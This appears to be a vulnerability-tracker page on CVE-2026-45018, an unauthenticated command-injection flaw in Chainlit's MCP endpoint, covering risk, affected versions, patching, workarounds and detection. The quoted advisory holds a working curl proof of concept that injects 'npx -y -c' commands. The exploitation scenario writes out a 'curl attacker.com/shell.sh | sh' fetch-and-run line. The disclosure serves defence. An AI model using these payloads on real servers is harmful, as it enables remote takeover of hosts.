Chainlit's optional MCP integration lets a client send a raw command string that the server hands to a subprocess, and because only the executable name (not the arguments) is checked against an allowlist, a request using `npx -y -c '<shell command>'` achieves full arbitrary code execution with no authentication required. This is a CVSS 9.8 unauthenticated RCE in a widely used AI chat/agent UI framework with 41 downstream dependents, and the endpoint (`/mcp`) is registered on every Chainlit deployment regardless of whether MCP is used, so exposure hinges entirely on a single config flag (`features.mcp.enabled`). There's no evidence yet of a public exploit, Nuclei template, EPSS score, or CISA KEV listing, but the vulnerability class (unauthenticated OS command injection with a documented, trivial-to-reproduce PoC) makes weaponization straightforward once attention lands on it. Patch to Chainlit 2.12.0, which removes client-supplied commands entirely in favor of developer-defined MCP servers; until then, set `features.mcp.enabled = false` or require authentication on `/mcp`, and audit any deployment where `allowed_executables` was left unset (it defaults to allow-all). Detection: look for outbound `npx`/`uvx` subprocess spawns from the Chainlit host and unexpected child processes off the Chainlit service.
What is the risk?
Critical. Exploitability is maximal for the subset of deployments with MCP enabled: no authentication, no user interaction, low attack complexity, and a documented working PoC that achieves shell execution before the MCP handshake even completes. The blast radius is capped by the fact that MCP has been off by default since v2.7.0, so most Chainlit installs are not exposed — but any team that turned it on for agent tool integrations (a common use case) is fully exposed, including via the secondary trap of an unset `allowed_executables` defaulting to allow-all. Absence from CISA KEV and no EPSS/public-exploit signal yet suggests this hasn't been mass-scanned, but the low complexity and unauthenticated path mean that window is likely short once the advisory and PoC circulate.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Chainlit | pip | >= 2.4.0rc0, <= 2.11.1 | 2.12.0 |
Do you use Chainlit? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade to Chainlit 2.12.0, which eliminates the vulnerable pattern by moving MCP server definitions to
.chainlit/config.tomlunder[[features.mcp.servers]](developer-controlled, no client-supplied command string) — note this is a breaking config change requiring migration if you use legacy[features.mcp.sse/stdio/streamable-http]sections. If immediate upgrade isn't possible, setfeatures.mcp.enabled = false(fully closes this and the companion SSRF CVE-2026-45019), restrict outbound process-spawning from the host, and configure an auth callback so/mcprequires authentication. Post-upgrade, be aware that unauthenticated clients can still trigger spawning of developer-configured stdio servers by name if no auth callback is registered — configure authentication regardless of patch status. Detection: monitor fornpx/uvx/subprocess execution originating from the Chainlit service account, and audit.chainlit/config.tomlfor missing orNone-valuedallowed_executables.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45018?
Chainlit's optional MCP integration lets a client send a raw command string that the server hands to a subprocess, and because only the executable name (not the arguments) is checked against an allowlist, a request using `npx -y -c '<shell command>'` achieves full arbitrary code execution with no authentication required. This is a CVSS 9.8 unauthenticated RCE in a widely used AI chat/agent UI framework with 41 downstream dependents, and the endpoint (`/mcp`) is registered on every Chainlit deployment regardless of whether MCP is used, so exposure hinges entirely on a single config flag (`features.mcp.enabled`). There's no evidence yet of a public exploit, Nuclei template, EPSS score, or CISA KEV listing, but the vulnerability class (unauthenticated OS command injection with a documented, trivial-to-reproduce PoC) makes weaponization straightforward once attention lands on it. Patch to Chainlit 2.12.0, which removes client-supplied commands entirely in favor of developer-defined MCP servers; until then, set `features.mcp.enabled = false` or require authentication on `/mcp`, and audit any deployment where `allowed_executables` was left unset (it defaults to allow-all). Detection: look for outbound `npx`/`uvx` subprocess spawns from the Chainlit host and unexpected child processes off the Chainlit service.
Is CVE-2026-45018 actively exploited?
No confirmed active exploitation of CVE-2026-45018 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-45018?
Upgrade to Chainlit 2.12.0, which eliminates the vulnerable pattern by moving MCP server definitions to `.chainlit/config.toml` under `[[features.mcp.servers]]` (developer-controlled, no client-supplied command string) — note this is a breaking config change requiring migration if you use legacy `[features.mcp.sse/stdio/streamable-http]` sections. If immediate upgrade isn't possible, set `features.mcp.enabled = false` (fully closes this and the companion SSRF CVE-2026-45019), restrict outbound process-spawning from the host, and configure an auth callback so `/mcp` requires authentication. Post-upgrade, be aware that unauthenticated clients can still trigger spawning of developer-configured stdio servers by name if no auth callback is registered — configure authentication regardless of patch status. Detection: monitor for `npx`/`uvx`/subprocess execution originating from the Chainlit service account, and audit `.chainlit/config.toml` for missing or `None`-valued `allowed_executables`.
What systems are affected by CVE-2026-45018?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM chat UI deployments, MCP-connected AI tool integrations.
What is the CVSS score for CVE-2026-45018?
CVE-2026-45018 has a CVSS v3.1 base score of 9.8 (CRITICAL).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
### Am I affected? Only if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session. ### Summary When MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `stdio` transport accepts a user-controlled `fullCommand` string. The `validate_mcp_command()` function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass `npx -y -c 'ARBITRARY COMMAND'` to execute arbitrary shell commands on the server with the privileges of the Chainlit process. ### Affected / patched versions | | | |---|---| | CVE | CVE-2026-45018 | | Affected | `>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) | | Patched | **2.12.0** (releasing 2026-08-25) | ### Details `validate_mcp_command()` in `backend/chainlit/mcp.py` uses `shlex.split()` to parse the command string and validates only the executable name (e.g., `npx`, `uvx`) against `config.features.mcp.stdio.allowed_executables`. Arguments are returned unchecked and passed directly to `StdioServerParameters`, which spawns a subprocess. Since `npx` supports `-c` for arbitrary shell execution, `npx -y -c 'PAYLOAD'` passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host. There is a related issue in the Pydantic model: `allowed_executables` defaults to `None`, and the validation code treats `None` as "allow everything." If a developer removes the `allowed_executables` line from their config, any executable can be invoked. The `/mcp` route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime `features.mcp.enabled` check and (where configured) the authentication check on `/mcp` prevent exploitation. **Vulnerable code:** `backend/chainlit/mcp.py` — `validate_mcp_command()` **Sink:** `backend/chainlit/server.py` — `StdioServerParameters` ### PoC Tested against Chainlit 2.11.0 with `features.mcp.enabled = true` and default settings. 1. Establish a Socket.IO session to get a valid `sessionId`: ```bash EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \ | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])") curl -s -X POST \ "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \ -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}' ``` 2. Send the command injection payload: ```bash curl -s -X POST 'http://TARGET:8000/mcp' \ -H 'Content-Type: application/json' \ -d '{ "sessionId": "rce-proof", "clientType": "stdio", "name": "poc", "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''" }' ``` The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof. ### Impact **Critical.** An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected. ### Fix Chainlit 2.12.0 removes `fullCommand` from the client request entirely. stdio MCP servers are now declared by the developer in `.chainlit/config.toml` under `[[features.mcp.servers]]` and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no `allowed_executables` mechanism anymore. Per-server environment variables are configured via an `env` mapping on the server entry rather than supplied by the client. ### Workarounds If you cannot upgrade immediately: - Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019). - Restrict outbound process-spawning / network capability from the host running Chainlit. - Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path. ### Upgrading to 2.12.0 > **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check. ### Residual risk after upgrading - On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. An anonymous client can therefore still cause **developer-configured** stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication. - No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client. ### Credits Vipin <vipin@spl.team> SPL <security@spl.team>
Exploitation Scenario
An attacker discovers a Chainlit-based AI assistant exposed on the internet with MCP enabled (e.g., via fingerprinting or Shodan-style scanning for the Chainlit Socket.IO endpoint). They open a Socket.IO session against `/ws/socket.io/` to obtain a valid `sessionId` — no login required — then POST to `/mcp` with `clientType: stdio` and a `fullCommand` of `npx -y -c 'curl attacker.com/shell.sh | sh'`. The executable name `npx` passes the allowlist check, but its `-c` flag executes the attacker's arbitrary shell command before the MCP handshake completes, giving the attacker a reverse shell or dropped backdoor with the privileges of the Chainlit process — enabling data exfiltration from any connected vector stores/RAG data, lateral movement into the hosting environment, and persistence.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-56104 8.2 Chainlit: session hijacking via WebSocket restoration
Same package: chainlit CVE-2026-22219 7.7 chainlit: SSRF allows internal network access
Same package: chainlit CVE-2026-45019 7.2 Chainlit: unauth SSRF via MCP url/header injection
Same package: chainlit CVE-2025-68492 4.2 chainlit: IDOR enables unauthorized data access
Same package: chainlit CVE-2026-22218 Chainlit: arbitrary file read via project/element
Same package: chainlit